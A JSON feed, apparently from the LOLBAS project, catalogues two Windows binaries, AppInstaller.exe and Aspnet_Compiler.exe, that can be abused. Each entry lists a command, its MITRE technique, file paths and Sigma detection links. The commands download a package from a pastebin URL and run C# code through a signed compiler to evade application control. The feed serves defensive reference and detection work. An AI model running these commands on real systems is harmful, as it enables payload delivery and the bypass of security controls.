LOLBAS Feed

{
    "LOLBAS": {
        "Indicators": [
            {
                "Commands": [
                    {
                        "category": "Download",
                        "command": "start ms-appinstaller://?source=https://pastebin.com/raw/tdyShwLw",
                        "description": "AppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in C:\\Users\\%username%\\AppData\\Local\\Packages\\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\\AC\\INetCache\\<RANDOM-8-CHAR-DIRECTORY>",
                        "mitreid": "Ingress Tool Transfer",
                        "operatingsystem": "Windows 10, Windows 11",
                        "privileges": "User",
                        "usecase": "Download file from Internet"
                    }
                ],
                "Description": "Tool used for installation of AppX/MSIX applications on Windows 10",
                "Detections": [
                    {
                        "content": "https://github.com/SigmaHQ/sigma/blob/bdb00f403fd8ede0daa04449ad913200af9466ff/rules/windows/dns_query/win_dq_lobas_appinstaller.yml",
                        "type": "Sigma"
                    }
                ],
                "Name": "AppInstaller.exe",
                "Paths": [
                    {
                        "path": "C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\\AppInstaller.exe"
                    }
                ],
                "Type": "Tool",
                "URL": "https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/"
            },
            {
                "Commands": [
                    {
                        "category": "AWL Bypass",
                        "command": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe -v none -p C:\\users\\cpl.internal\\desktop\\asptest\\ -f C:\\users\\cpl.internal\\desktop\\asptest\\none -u",
                        "description": "Execute C# code with the Build Provider and proper folder structure in place.",
                        "mitreid": "Trusted Developer Utilities Proxy Execution",
                        "operatingsystem": "Windows 10, Windows 11",
                        "privileges": "User",
                        "usecase": "Execute proxied payload with Microsoft signed binary to bypass application control solutions"
                    }
                ],
                "Description": "ASP.NET Compilation Tool",
                "Detections": [
                    {
                        "content": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules",
                        "type": "BlockRule"
                    },
                    {
                        "content": "https://github.com/SigmaHQ/sigma/blob/960a03eaf480926ed8db464477335a713e9e6630/rules/windows/process_creation/win_pc_lobas_aspnet_compiler.yml",
                        "type": "Sigma"
                    }
                ],
                "Name": "Aspnet_Compiler.exe",
                "Paths": [
                    {
                        "path": "c:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe"
                    },
                    {
                        "path": "c:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe"
                    }
                ],
                "Type": "Tool",
                "URL": "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/"
            }
        ]
    }
}